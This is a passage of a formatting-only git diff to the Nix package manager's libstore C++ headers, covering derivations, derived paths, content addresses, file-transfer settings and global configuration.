the * canonical serializers below. */ - struct WriteConn { + struct WriteConn + { Sink & to; }; @@ -54,10 +55,10 @@ struct CommonProto } }; -#define DECLARE_COMMON_SERIALISER(T) \ - struct CommonProto::Serialise< T > \ - { \ - static T read(const StoreDirConfig & store, CommonProto::ReadConn conn); \ +#define DECLARE_COMMON_SERIALISER(T) \ + struct CommonProto::Serialise \ + { \ + static T read(const StoreDirConfig & store, CommonProto::ReadConn conn); \ static void write(const StoreDirConfig & store, CommonProto::WriteConn conn, const T & str); \ } diff --git a/src/libstore/include/nix/store/common-ssh-store-config.hh b/src/libstore/include/nix/store/common-ssh-store-config.hh index f82124c66..8623d6a9c 100644 --- a/src/libstore/include/nix/store/common-ssh-store-config.hh +++ b/src/libstore/include/nix/store/common-ssh-store-config.hh @@ -13,16 +13,18 @@ struct CommonSSHStoreConfig : virtual StoreConfig CommonSSHStoreConfig(std::string_view scheme, std::string_view host, const Params & params); - const Setting sshKey{this, "", "ssh-key", - "Path to the SSH private key used to authenticate to the remote machine."}; + const Setting sshKey{ + this, "", "ssh-key", "Path to the SSH private key used to authenticate to the remote machine."}; - const Setting sshPublicHostKey{this, "", "base64-ssh-public-host-key", - "The public host key of the remote machine."}; + const Setting sshPublicHostKey{ + this, "", "base64-ssh-public-host-key", "The public host key of the remote machine."}; - const Setting compress{this, false, "compress", - "Whether to enable SSH compression."}; + const Setting compress{this, false, "compress", "Whether to enable SSH compression."}; - const Setting remoteStore{this, "", "remote-store", + const Setting remoteStore{ + this, + "", + "remote-store", R"( [Store URL](@docroot@/store/types/index.md#store-url-format) to be used on the remote machine. The default is `auto` @@ -54,9 +56,7 @@ struct CommonSSHStoreConfig : virtual StoreConfig * * See that constructor for details on the remaining two arguments. */ - SSHMaster createSSHMaster( - bool useMaster, - Descriptor logFD = INVALID_DESCRIPTOR); + SSHMaster createSSHMaster(bool useMaster, Descriptor logFD = INVALID_DESCRIPTOR); }; } diff --git a/src/libstore/include/nix/store/content-address.hh b/src/libstore/include/nix/store/content-address.hh index 8442fabb2..a51969427 100644 --- a/src/libstore/include/nix/store/content-address.hh +++ b/src/libstore/include/nix/store/content-address.hh @@ -73,8 +73,8 @@ struct ContentAddressMethod Raw raw; - bool operator ==(const ContentAddressMethod &) const = default; - auto operator <=>(const ContentAddressMethod &) const = default; + bool operator==(const ContentAddressMethod &) const = default; + auto operator<=>(const ContentAddressMethod &) const = default; MAKE_WRAPPER_CONSTRUCTOR(ContentAddressMethod); @@ -132,7 +132,6 @@ struct ContentAddressMethod FileIngestionMethod getFileIngestionMethod() const; }; - /* * Mini content address */ @@ -161,8 +160,8 @@ struct ContentAddress */ Hash hash; - bool operator ==(const ContentAddress &) const = default; - auto operator <=>(const ContentAddress &) const = default; + bool operator==(const ContentAddress &) const = default; + auto operator<=>(const ContentAddress &) const = default; /** * Compute the content-addressability assertion @@ -184,7 +183,6 @@ struct ContentAddress */ std::string renderContentAddress(std::optional ca); - /* * Full content address * @@ -221,9 +219,9 @@ struct StoreReferences */ size_t size() const; - bool operator ==(const StoreReferences &) const = default; + bool operator==(const StoreReferences &) const = default; // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. - //auto operator <=>(const StoreReferences &) const = default; + // auto operator <=>(const StoreReferences &) const = default; }; // This matches the additional info that we need for makeTextPath @@ -240,9 +238,9 @@ struct TextInfo */ StorePathSet references; - bool operator ==(const TextInfo &) const = default; + bool operator==(const TextInfo &) const = default; // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. - //auto operator <=>(const TextInfo &) const = default; + // auto operator <=>(const TextInfo &) const = default; }; struct FixedOutputInfo @@ -262,9 +260,9 @@ struct FixedOutputInfo */ StoreReferences references; - bool operator ==(const FixedOutputInfo &) const = default; + bool operator==(const FixedOutputInfo &) const = default; // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. - //auto operator <=>(const FixedOutputInfo &) const = default; + // auto operator <=>(const FixedOutputInfo &) const = default; }; /** @@ -274,16 +272,13 @@ struct FixedOutputInfo */ struct ContentAddressWithReferences { - typedef std::variant< - TextInfo, - FixedOutputInfo - > Raw; + typedef std::variant Raw; Raw raw; - bool operator ==(const ContentAddressWithReferences &) const = default; + bool operator==(const ContentAddressWithReferences &) const = default; // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. - //auto operator <=>(const ContentAddressWithReferences &) const = default; + // auto operator <=>(const ContentAddressWithReferences &) const = default; MAKE_WRAPPER_CONSTRUCTOR(ContentAddressWithReferences); @@ -306,8 +301,7 @@ struct ContentAddressWithReferences * *partial function* and exceptions will be thrown for invalid * combinations. */ - static ContentAddressWithReferences fromParts( - ContentAddressMethod method, Hash hash, StoreReferences refs); + static ContentAddressWithReferences fromParts(ContentAddressMethod method, Hash hash, StoreReferences refs); ContentAddressMethod getMethod() const; diff --git a/src/libstore/include/nix/store/daemon.hh b/src/libstore/include/nix/store/daemon.hh index d14541df7..d24ecbb1d 100644 --- a/src/libstore/include/nix/store/daemon.hh +++ b/src/libstore/include/nix/store/daemon.hh @@ -8,11 +8,6 @@ namespace nix::daemon { enum RecursiveFlag : bool { NotRecursive = false, Recursive = true }; -void processConnection( - ref store, - FdSource && from, - FdSink && to, - TrustedFlag trusted, - RecursiveFlag recursive); +void processConnection(ref store, FdSource && from, FdSink && to, TrustedFlag trusted, RecursiveFlag recursive); } diff --git a/src/libstore/include/nix/store/derivations.hh b/src/libstore/include/nix/store/derivations.hh index 01ff337f6..43e7a8330 100644 --- a/src/libstore/include/nix/store/derivations.hh +++ b/src/libstore/include/nix/store/derivations.hh @@ -31,8 +31,8 @@ struct DerivationOutput { StorePath path; - bool operator == (const InputAddressed &) const = default; - auto operator <=> (const InputAddressed &) const = default; + bool operator==(const InputAddressed &) const = default; + auto operator<=>(const InputAddressed &) const = default; }; /** @@ -56,8 +56,8 @@ struct DerivationOutput */ StorePath path(const StoreDirConfig & store, std::string_view drvName, OutputNameView outputName) const; - bool operator == (const CAFixed &) const = default; - auto operator <=> (const CAFixed &) const = default; + bool operator==(const CAFixed &) const = default; + auto operator<=>(const CAFixed &) const = default; }; /** @@ -77,17 +77,18 @@ struct DerivationOutput */ HashAlgorithm hashAlgo; - bool operator == (const CAFloating &) const = default; - auto operator <=> (const CAFloating &) const = default; + bool operator==(const CAFloating &) const = default; + auto operator<=>(const CAFloating &) const = default; }; /** * Input-addressed output which depends on a (CA) derivation whose hash * isn't known yet. */ - struct Deferred { - bool operator == (const Deferred &) const = default; - auto operator <=> (const Deferred &) const = default; + struct Deferred + { + bool operator==(const Deferred &) const = default; + auto operator<=>(const Deferred &) const = default; }; /** @@ -106,22 +107,16 @@ struct DerivationOutput */ HashAlgorithm hashAlgo; - bool operator == (const Impure &) const = default; - auto operator <=> (const Impure &) const = default; + bool operator==(const Impure &) const = default; + auto operator<=>(const Impure &) const = default; }; - typedef std::variant< - InputAddressed, - CAFixed, - CAFloating, - Deferred, - Impure - > Raw; + typedef std::variant Raw; Raw raw; - bool operator == (const DerivationOutput &) const = default; - auto operator <=> (const DerivationOutput &) const = default; + bool operator==(const DerivationOutput &) const = default; + auto operator<=>(const DerivationOutput &) const = default; MAKE_WRAPPER_CONSTRUCTOR(DerivationOutput); @@ -136,12 +131,10 @@ struct DerivationOutput * the safer interface provided by * BasicDerivation::outputsAndOptPaths */ - std::optional path(const StoreDirConfig & store, std::string_view drvName, OutputNameView outputName) const; + std::optional + path(const StoreDirConfig & store, std::string_view drvName, OutputNameView outputName) const; - nlohmann::json toJSON( - const StoreDirConfig & store, - std::string_view drvName, - OutputNameView outputName) const; + nlohmann::json toJSON(const StoreDirConfig & store, std::string_view drvName, OutputNameView outputName) const; /** * @param xpSettings Stop-gap to avoid globals during unit tests. */ @@ -161,8 +154,7 @@ typedef std::map DerivationOutputs; * path in which it would be written. To calculate values of these * types, see the corresponding functions in BasicDerivation. */ -typedef std::map>> - DerivationOutputsAndOptPaths; +typedef std::map>> DerivationOutputsAndOptPaths; /** * For inputs that are sub-derivations, we specify exactly which @@ -170,26 +162,29 @@ typedef std::map DerivationInputs; -struct DerivationType { +struct DerivationType +{ /** * Input-addressed derivation types */ - struct InputAddressed { + struct InputAddressed + { /** * True iff the derivation type can't be determined statically, * for instance because it (transitively) depends on a content-addressed * derivation. - */ + */ bool deferred; - bool operator == (const InputAddressed &) const = default; - auto operator <=> (const InputAddressed &) const = default; + bool operator==(const InputAddressed &) const = default; + auto operator<=>(const InputAddressed &) const = default; }; /** * Content-addressing derivation types */ - struct ContentAddressed { + struct ContentAddressed + { /** * Whether the derivation should be built safely inside a sandbox. */ @@ -207,8 +202,8 @@ struct DerivationType { */ bool fixed; - bool operator == (const ContentAddressed &) const = default; - auto operator <=> (const ContentAddressed &) const = default; + bool operator==(const ContentAddressed &) const = default; + auto operator<=>(const ContentAddressed &) const = default; }; /** @@ -217,21 +212,18 @@ struct DerivationType { * This is similar at buil-time to the content addressed, not standboxed, not fixed * type, but has some restrictions on its usage. */ - struct Impure { - bool operator == (const Impure &) const = default; - auto operator <=> (const Impure &) const = default; + struct Impure + { + bool operator==(const Impure &) const = default; + auto operator<=>(const Impure &) const = default; }; - typedef std::variant< - InputAddressed, - ContentAddressed, - Impure - > Raw; + typedef std::variant Raw; Raw raw; - bool operator == (const DerivationType &) const = default; - auto operator <=> (const DerivationType &) const = default; + bool operator==(const DerivationType &) const = default; + auto operator<=>(const DerivationType &) const = default; MAKE_WRAPPER_CONSTRUCTOR(DerivationType); @@ -300,9 +292,9 @@ struct BasicDerivation BasicDerivation() = default; BasicDerivation(BasicDerivation &&) = default; BasicDerivation(const BasicDerivation &) = default; - BasicDerivation& operator=(BasicDerivation &&) = default; - BasicDerivation& operator=(const BasicDerivation &) = default; - virtual ~BasicDerivation() { }; + BasicDerivation & operator=(BasicDerivation &&) = default; + BasicDerivation & operator=(const BasicDerivation &) = default; + virtual ~BasicDerivation() {}; bool isBuiltin() const; @@ -331,9 +323,9 @@ struct BasicDerivation */ void applyRewrites(const StringMap & rewrites); - bool operator == (const BasicDerivation &) const = default; + bool operator==(const BasicDerivation &) const = default; // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. - //auto operator <=> (const BasicDerivation &) const = default; + // auto operator <=> (const BasicDerivation &) const = default; }; class Store; @@ -348,7 +340,9 @@ struct Derivation : BasicDerivation /** * Print a derivation. */ - std::string unparse(const StoreDirConfig & store, bool maskOutputs, + std::string unparse( + const StoreDirConfig & store, + bool maskOutputs, DerivedPathMap::ChildNode::Map * actualInputs = nullptr) const; /** @@ -369,7 +363,8 @@ struct Derivation : BasicDerivation */ std::optional tryResolve( Store & store, - std::function(ref drvPath, const std::string & outputName)> queryResolutionChain) const; + std::function(ref drvPath, const std::string & outputName)> + queryResolutionChain) const; /** * Check that the derivation is valid and does not present any @@ -382,8 +377,14 @@ struct Derivation : BasicDerivation void checkInvariants(Store & store, const StorePath & drvPath) const; Derivation() = default; - Derivation(const BasicDerivation & bd) : BasicDerivation(bd) { } - Derivation(BasicDerivation && bd) : BasicDerivation(std::move(bd)) { } + Derivation(const BasicDerivation & bd) + : BasicDerivation(bd) + { + } + Derivation(BasicDerivation && bd) + : BasicDerivation(std::move(bd)) + { + } nlohmann::json toJSON(const StoreDirConfig & store) const; static Derivation fromJSON( @@ -391,21 +392,17 @@ struct Derivation : BasicDerivation const nlohmann::json & json, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); - bool operator == (const Derivation &) const = default; + bool operator==(const Derivation &) const = default; // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. - //auto operator <=> (const Derivation &) const = default; + // auto operator <=> (const Derivation &) const = default; }; - class Store; /** * Write a derivation to the Nix store, and return its path. */ -StorePath writeDerivation(Store & store, - const Derivation & drv, - RepairFlag repair = NoRepair, - bool readOnly = false); +StorePath writeDerivation(Store & store, const Derivation & drv, RepairFlag repair = NoRepair, bool readOnly = false); /** * Read a derivation from a file. @@ -432,7 +429,6 @@ bool isDerivation(std::string_view fileName); */ std::string outputPathName(std::string_view drvName, OutputNameView outputName); - /** * The hashes modulo of a derivation. * @@ -440,7 +436,8 @@ std::string outputPathName(std::string_view drvName, OutputNameView outputName); * derivations (fixed-output or not) will have a different hash for each * output. */ -struct DrvHash { +struct DrvHash +{ /** * Map from output names to hashes */ @@ -466,7 +463,7 @@ struct DrvHash { Kind kind; }; -void operator |= (DrvHash::Kind & self, const DrvHash::Kind & other) noexcept; +void operator|=(DrvHash::Kind & self, const DrvHash::Kind & other) noexcept; /** * Returns hashes with the details of fixed-output subderivations diff --git a/src/libstore/include/nix/store/derived-path-map.hh b/src/libstore/include/nix/store/derived-path-map.hh index 956f8bb0b..fda931708 100644 --- a/src/libstore/include/nix/store/derived-path-map.hh +++ b/src/libstore/include/nix/store/derived-path-map.hh @@ -25,11 +25,13 @@ namespace nix { * good choices for "optional" types. */ template -struct DerivedPathMap { +struct DerivedPathMap +{ /** * A child node (non-root node). */ - struct ChildNode { + struct ChildNode + { /** * Value of this child node. * @@ -47,7 +49,7 @@ struct DerivedPathMap { */ Map childMap; - bool operator == (const ChildNode &) const noexcept; + bool operator==(const ChildNode &) const noexcept; // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. // decltype(std::declval() <=> std::declval()) @@ -64,7 +66,7 @@ struct DerivedPathMap { */ Map map; - bool operator == (const DerivedPathMap &) const = default; + bool operator==(const DerivedPathMap &) const = default; // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. // auto operator <=> (const DerivedPathMap &) const noexcept; @@ -91,7 +93,7 @@ struct DerivedPathMap { }; template<> -bool DerivedPathMap>::ChildNode::operator == ( +bool DerivedPathMap>::ChildNode::operator==( const DerivedPathMap>::ChildNode &) const noexcept; // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. diff --git a/src/libstore/include/nix/store/derived-path.hh b/src/libstore/include/nix/store/derived-path.hh index 64189bd41..a47f5296d 100644 --- a/src/libstore/include/nix/store/derived-path.hh +++ b/src/libstore/include/nix/store/derived-path.hh @@ -24,15 +24,16 @@ class Store; * cannot be simplified further. Since they are opaque, they cannot be * built, but they can fetched. */ -struct DerivedPathOpaque { +struct DerivedPathOpaque +{ StorePath path; std::string to_string(const StoreDirConfig & store) const; static DerivedPathOpaque parse(const StoreDirConfig & store, std::string_view); nlohmann::json toJSON(const StoreDirConfig & store) const; - bool operator == (const DerivedPathOpaque &) const = default; - auto operator <=> (const DerivedPathOpaque &) const = default; + bool operator==(const DerivedPathOpaque &) const = default; + auto operator<=>(const DerivedPathOpaque &) const = default; }; struct SingleDerivedPath; @@ -44,7 +45,8 @@ struct SingleDerivedPath; * evaluated by building the derivation, and then taking the resulting output * path of the given output name. */ -struct SingleDerivedPathBuilt { +struct SingleDerivedPathBuilt +{ ref drvPath; OutputName output; @@ -74,19 +76,17 @@ struct SingleDerivedPathBuilt { * @param xpSettings Stop-gap to avoid globals during unit tests. */ static SingleDerivedPathBuilt parse( - const StoreDirConfig & store, ref drvPath, + const StoreDirConfig & store, + ref drvPath, OutputNameView outputs, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); nlohmann::json toJSON(Store & store) const; - bool operator == (const SingleDerivedPathBuilt &) const noexcept; - std::strong_ordering operator <=> (const SingleDerivedPathBuilt &) const noexcept; + bool operator==(const SingleDerivedPathBuilt &) const noexcept; + std::strong_ordering operator<=>(const SingleDerivedPathBuilt &) const noexcept; }; -using _SingleDerivedPathRaw = std::variant< - DerivedPathOpaque, - SingleDerivedPathBuilt ->; +using _SingleDerivedPathRaw = std::variant; /** * A "derived path" is a very simple sort of expression (not a Nix @@ -99,19 +99,21 @@ using _SingleDerivedPathRaw = std::variant< * - built, in which case it is a pair of a derivation path and an * output name. */ -struct SingleDerivedPath : _SingleDerivedPathRaw { +struct SingleDerivedPath : _SingleDerivedPathRaw +{ using Raw = _SingleDerivedPathRaw; using Raw::Raw; using Opaque = DerivedPathOpaque; using Built = SingleDerivedPathBuilt; - inline const Raw & raw() const { + inline const Raw & raw() const + { return static_cast(*this); } - bool operator == (const SingleDerivedPath &) const = default; - auto operator <=> (const SingleDerivedPath &) const = default; + bool operator==(const SingleDerivedPath &) const = default; + auto operator<=>(const SingleDerivedPath &) const = default; /** * Get the store path this is ultimately derived from (by realising @@ -156,7 +158,7 @@ struct SingleDerivedPath : _SingleDerivedPathRaw { static inline ref makeConstantStorePathRef(StorePath drvPath) { - return make_ref(SingleDerivedPath::Opaque { drvPath }); + return make_ref(SingleDerivedPath::Opaque{drvPath}); } /** @@ -171,7 +173,8 @@ static inline ref makeConstantStorePathRef(StorePath drvPath) * evaluate to single values. Perhaps this should have just a single * output name. */ -struct DerivedPathBuilt { +struct DerivedPathBuilt +{ ref drvPath; OutputsSpec outputs; @@ -201,20 +204,18 @@ struct DerivedPathBuilt { * @param xpSettings Stop-gap to avoid globals during unit tests. */ static DerivedPathBuilt parse( - const StoreDirConfig & store, ref, + const StoreDirConfig & store, + ref, std::string_view, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); nlohmann::json toJSON(Store & store) const; - bool operator == (const DerivedPathBuilt &) const noexcept; + bool operator==(const DerivedPathBuilt &) const noexcept; // TODO libc++ 16 (used by darwin) missing `std::set::operator <=>`, can't do yet. - bool operator < (const DerivedPathBuilt &) const noexcept; + bool operator<(const DerivedPathBuilt &) const noexcept; }; -using _DerivedPathRaw = std::variant< - DerivedPathOpaque, - DerivedPathBuilt ->; +using _DerivedPathRaw = std::variant; /** * A "derived path" is a very simple sort of expression that evaluates @@ -226,20 +227,22 @@ using _DerivedPathRaw = std::variant< * - built, in which case it is a pair of a derivation path and some * output names. */ -struct DerivedPath : _DerivedPathRaw { +struct DerivedPath : _DerivedPathRaw +{ using Raw = _DerivedPathRaw; using Raw::Raw; using Opaque = DerivedPathOpaque; using Built = DerivedPathBuilt; - inline const Raw & raw() const { + inline const Raw & raw() const + { return static_cast(*this); } - bool operator == (const DerivedPath &) const = default; + bool operator==(const DerivedPath &) const = default; // TODO libc++ 16 (used by darwin) missing `std::set::operator <=>`, can't do yet. - //auto operator <=> (const DerivedPath &) const = default; + // auto operator <=> (const DerivedPath &) const = default; /** * Get the store path this is ultimately derived from (by realising @@ -300,6 +303,5 @@ typedef std::vector DerivedPaths; * @param xpSettings Stop-gap to avoid globals during unit tests. */ void drvRequireExperiment( - const SingleDerivedPath & drv, - const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); + const SingleDerivedPath & drv, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); } diff --git a/src/libstore/include/nix/store/downstream-placeholder.hh b/src/libstore/include/nix/store/downstream-placeholder.hh index da03cd9a6..a97f60eb9 100644 --- a/src/libstore/include/nix/store/downstream-placeholder.hh +++ b/src/libstore/include/nix/store/downstream-placeholder.hh @@ -38,7 +38,10 @@ class DownstreamPlaceholder /** * Newtype constructor */ - DownstreamPlaceholder(Hash hash) : hash(hash) { } + DownstreamPlaceholder(Hash hash) + : hash(hash) + { + } public: /** diff --git a/src/libstore/include/nix/store/filetransfer.hh b/src/libstore/include/nix/store/filetransfer.hh index f9b1f620f..191b59ed3 100644 --- a/src/libstore/include/nix/store/filetransfer.hh +++ b/src/libstore/include/nix/store/filetransfer.hh @@ -14,14 +14,15 @@ namespace nix { struct FileTransferSettings : Config { - Setting enableHttp2{this, true, "http2", - "Whether to enable HTTP/2 support."}; + Setting enableHttp2{this, true, "http2", "Whether to enable HTTP/2 support."}; - Setting userAgentSuffix{this, "", "user-agent-suffix", - "String appended to the user agent in HTTP requests."}; + Setting userAgentSuffix{ + this, "", "user-agent-suffix", "String appended to the user agent in HTTP requests."}; Setting httpConnections{ - this, 25, "http-connections", + this, + 25, + "http-connections", R"( The maximum number of parallel TCP connections used to fetch files from binary caches and by other downloads. It defaults @@ -30,7 +31,9 @@ struct FileTransferSettings : Config {"binary-caches-parallel-connections"}}; Setting connectTimeout{ - this, 5, "connect-timeout", + this, + 5, + "connect-timeout", R"( The timeout (in seconds) for establishing connections in the binary cache substituter. It corresponds to `curl`’s @@ -38,17 +41,22 @@ struct FileTransferSettings : Config )"}; Setting stalledDownloadTimeout{ - this, 300, "stalled-download-timeout", + this, + 300, + "stalled-download-timeout", R"( The timeout (in seconds) for receiving data from servers during download. Nix cancels idle downloads after this timeout's duration. )"}; - Setting tries{this, 5, "download-attempts", - "How often Nix will attempt to download a file before giving up."}; + Setting tries{ + this, 5, "download-attempts", "How often Nix will attempt to download a file before giving up."}; - Setting downloadBufferSize{this, 64 * 1024 * 1024, "download-buffer-size", + Setting downloadBufferSize{ + this, + 64 * 1024 * 1024, + "download-buffer-size", R"( The size of Nix's internal download buffer in bytes during `curl` transfers. If data is not processed quickly enough to exceed the size of this buffer, downloads may stall. @@ -75,7 +83,10 @@ struct FileTransferRequest std::function dataCallback; FileTransferRequest(std::string_view uri) - : uri(uri), parentAct(getCurActivity()) { } + : uri(uri) + , parentAct(getCurActivity()) + { + } std::string verb() const { @@ -120,15 +131,14 @@ class Store; struct FileTransfer { - virtual ~FileTransfer() { } + virtual ~FileTransfer() {} /** * Enqueue a data transfer request, returning a future to the result of * the download. The future may throw a FileTransferError * exception. */ - virtual void enqueueFileTransfer(const FileTransferRequest & request, - Callback callback) = 0; + virtual void enqueueFileTransfer(const FileTransferRequest & request, Callback callback) = 0; std::future enqueueFileTransfer(const FileTransferRequest & request); @@ -146,10 +156,8 @@ struct FileTransfer * Download a file, writing its data to a sink. The sink will be * invoked on the thread of the caller. */ - void download( - FileTransferRequest && request, - Sink & sink, - std::function resultCallback = {}); + void + download(FileTransferRequest && request, Sink & sink, std::function resultCallback = {}); enum Error { NotFound, Forbidden, Misc, Transient, Interrupted }; }; @@ -177,7 +185,7 @@ public: std::optional response; template - FileTransferError(FileTransfer::Error error, std::optional response, const Args & ... args); + FileTransferError(FileTransfer::Error error, std::optional response, const Args &... args); }; } diff --git a/src/libstore/include/nix/store/gc-store.hh b/src/libstore/include/nix/store/gc-store.hh index cef6e8776..5b30d2c86 100644 --- a/src/libstore/include/nix/store/gc-store.hh +++ b/src/libstore/include/nix/store/gc-store.hh @@ -7,10 +7,8 @@ namespace nix { - typedef std::unordered_map> Roots; - struct GCOptions { /** @@ -55,7 +53,6 @@ struct GCOptions uint64_t maxFreed{std::numeric_limits::max()}; }; - struct GCResults { /** @@ -71,7 +68,6 @@ struct GCResults uint64_t bytesFreed = 0; }; - /** * Mix-in class for \ref Store "stores" which expose a notion of garbage * collection. diff --git a/src/libstore/include/nix/store/globals.hh b/src/libstore/include/nix/store/globals.hh index 82211d8dc..ce55c7ba3 100644 --- a/src/libstore/include/nix/store/globals.hh +++ b/src/libstore/include/nix/store/globals.hh @@ -20,7 +20,8 @@ typedef enum { smEnabled, smRelaxed, smDisabled } SandboxMode; struct MaxBuildJobsSetting : public BaseSetting { - MaxBuildJobsSetting(Config * options, + MaxBuildJobsSetting( + Config * options, unsigned int def, const std::string & name, const std::string & description, @@ -34,14 +35,15 @@ struct MaxBuildJobsSetting : public BaseSetting }; const uint32_t maxIdsPerBuild = - #ifdef __linux__ +#ifdef __linux__ 1 << 16 - #else +#else 1 - #endif +#endif ; -class Settings : public Config { +class Settings : public Config +{ unsigned int getDefaultCores(); @@ -91,7 +93,10 @@ public: */ Path nixDaemonSocketFile; - Setting storeUri{this, getEnv("NIX_REMOTE").value_or("auto"), "store", + Setting storeUri{ + this, + getEnv("NIX_REMOTE").value_or("auto"), + "store", R"( The [URL of the Nix store](@docroot@/store/types/index.md#store-url-format) to use for most operations. @@ -100,14 +105,15 @@ public: section of the manual for supported store types and settings. )"}; - Setting keepFailed{this, false, "keep-failed", - "Whether to keep temporary directories of failed builds."}; + Setting keepFailed{this, false, "keep-failed", "Whether to keep temporary directories of failed builds."}; - Setting keepGoing{this, false, "keep-going", - "Whether to keep building derivations when another build fails."}; + Setting keepGoing{ + this, false, "keep-going", "Whether to keep building derivations when another build fails."}; Setting tryFallback{ - this, false, "fallback", + this, + false, + "fallback", R"( If set to `true`, Nix will fall back to building from source if a binary substitute fails. This is equivalent to the `--fallback` @@ -120,12 +126,17 @@ public: */ bool verboseBuild = true; - Setting logLines{this, 25, "log-lines", + Setting logLines{ + this, + 25, + "log-lines", "The number of lines of the tail of " "the log to show if a build fails."}; MaxBuildJobsSetting maxBuildJobs{ - this, 1, "max-jobs", + this, + 1, + "max-jobs", R"( Maximum number of jobs that Nix will try to build locally in parallel. @@ -143,7 +154,9 @@ public: {"build-max-jobs"}}; Setting maxSubstitutionJobs{ - this, 16, "max-substitution-jobs", + this, + 16, + "max-substitution-jobs", R"( This option defines the maximum number of substitution jobs that Nix will try to run in parallel. The default is `16`. The minimum value @@ -183,7 +196,9 @@ public: bool readOnlyMode = false; Setting thisSystem{ - this, NIX_LOCAL_SYSTEM, "system", + this, + NIX_LOCAL_SYSTEM, + "system", R"( The system type of the current Nix installation. Nix will only build a given [store derivation](@docroot@/glossary.md#gloss-store-derivation) locally when its `system` attribute equals any of the values specified here or in [`extra-platforms`](#conf-extra-platforms). @@ -210,7 +225,9 @@ public: )"}; Setting maxSilentTime{ - this, 0, "max-silent-time", + this, + 0, + "max-silent-time", R"( This option defines the maximum number of seconds that a builder can go without producing any data on standard output or standard error. @@ -225,7 +242,9 @@ public: {"build-max-silent-time"}}; Setting buildTimeout{ - this, 0, "timeout", + this, + 0, + "timeout", R"( This option defines the maximum number of seconds that a builder can run. This is useful (for instance in an automated build system) to @@ -238,7 +257,10 @@ public: )", {"build-timeout"}}; - Setting buildHook{this, {"nix", "__build-remote"}, "build-hook", + Setting buildHook{ + this, + {"nix", "__build-remote"}, + "build-hook", R"( The path to the helper program that executes remote builds. @@ -251,7 +273,9 @@ public: )"}; Setting builders{ - this, "@" + nixConfDir + "/machines", "builders", + this, + "@" + nixConfDir + "/machines", + "builders", R"( A semicolon- or newline-separated list of build machines. @@ -367,16 +391,21 @@ public: If you want the remote machines to use substituters, set [`builders-use-substitutes`](#conf-builders-use-substituters) to `true`. )", - {}, false}; + {}, + false}; Setting alwaysAllowSubstitutes{ - this, false, "always-allow-substitutes", + this, + false, + "always-allow-substitutes", R"( If set to `true`, Nix will ignore the [`allowSubstitutes`](@docroot@/language/advanced-attributes.md) attribute in derivations and always attempt to use [available substituters](#conf-substituters). )"}; Setting buildersUseSubstitutes{ - this, false, "builders-use-substitutes", + this, + false, + "builders-use-substitutes", R"( If set to `true`, Nix will instruct [remote build machines](#conf-builders) to use their own [`substituters`](#conf-substituters) if available. @@ -384,11 +413,13 @@ public: This can drastically reduce build times if the network connection between the local machine and the remote build host is slow. )"}; - Setting reservedSize{this, 8 * 1024 * 1024, "gc-reserved-space", - "Amount of reserved disk space for the garbage collector."}; + Setting reservedSize{ + this, 8 * 1024 * 1024, "gc-reserved-space", "Amount of reserved disk space for the garbage collector."}; Setting fsyncMetadata{ - this, true, "fsync-metadata", + this, + true, + "fsync-metadata", R"( If set to `true`, changes to the Nix store metadata (in `/nix/var/nix/db`) are synchronously flushed to disk. This improves @@ -396,24 +427,28 @@ public: default is `true`. )"}; - Setting fsyncStorePaths{this, false, "fsync-store-paths", + Setting fsyncStorePaths{ + this, + false, + "fsync-store-paths", R"( Whether to call `fsync()` on store paths before registering them, to flush them to disk. This improves robustness in case of system crashes, but reduces performance. The default is `false`. )"}; - Setting useSQLiteWAL{this, !isWSL1(), "use-sqlite-wal", - "Whether SQLite should use WAL mode."}; + Setting useSQLiteWAL{this, !isWSL1(), "use-sqlite-wal", "Whether SQLite should use WAL mode."}; #ifndef _WIN32 // FIXME: remove this option, `fsync-store-paths` is faster. - Setting syncBeforeRegistering{this, false, "sync-before-registering", - "Whether to call `sync()` before registering a path as valid."}; + Setting syncBeforeRegistering{ + this, false, "sync-before-registering", "Whether to call `sync()` before registering a path as valid."}; #endif Setting useSubstitutes{ - this, true, "substitute", + this, + true, + "substitute", R"( If set to `true` (default), Nix will use binary substitutes if available. This option can be disabled to force building from @@ -422,7 +457,9 @@ public: {"build-use-substitutes"}}; Setting buildUsersGroup{ - this, "", "build-users-group", + this, + "", + "build-users-group", R"( This options specifies the Unix group containing the Nix build user accounts. In multi-user Nix installations, builds should not be @@ -456,37 +493,48 @@ public: Defaults to `nixbld` when running as root, *empty* otherwise. )", - {}, false}; + {}, + false}; - Setting autoAllocateUids{this, false, "auto-allocate-uids", + Setting autoAllocateUids{ + this, + false, + "auto-allocate-uids", R"( Whether to select UIDs for builds automatically, instead of using the users in `build-users-group`. UIDs are allocated starting at 872415232 (0x34000000) on Linux and 56930 on macOS. - )", {}, true, Xp::AutoAllocateUids}; + )", + {}, + true, + Xp::AutoAllocateUids}; - Setting startId{this, - #ifdef __linux__ + Setting startId{ + this, +#ifdef __linux__ 0x34000000, - #else +#else 56930, - #endif +#endif "start-id", "The first UID and GID to use for dynamic ID allocation."}; - Setting uidCount{this, - #ifdef __linux__ + Setting uidCount{ + this, +#ifdef __linux__ maxIdsPerBuild * 128, - #else +#else 128, - #endif +#endif "id-count", "The number of UIDs/GIDs to use for dynamic ID allocation."}; - #ifdef __linux__ +#ifdef __linux__ Setting useCgroups{ - this, false, "use-cgroups", + this, + false, + "use-cgroups", R"( Whether to execute builds inside cgroups. This is only supported on Linux. @@ -494,14 +542,19 @@ public: Cgroups are required and enabled automatically for derivations that require the `uid-range` system feature. )"}; - #endif +#endif - Setting impersonateLinux26{this, false, "impersonate-linux-26", + Setting impersonateLinux26{ + this, + false, + "impersonate-linux-26", "Whether to impersonate a Linux 2.6 machine on newer kernels.", {"build-impersonate-linux-26"}}; Setting keepLog{ - this, true, "keep-build-log", + this, + 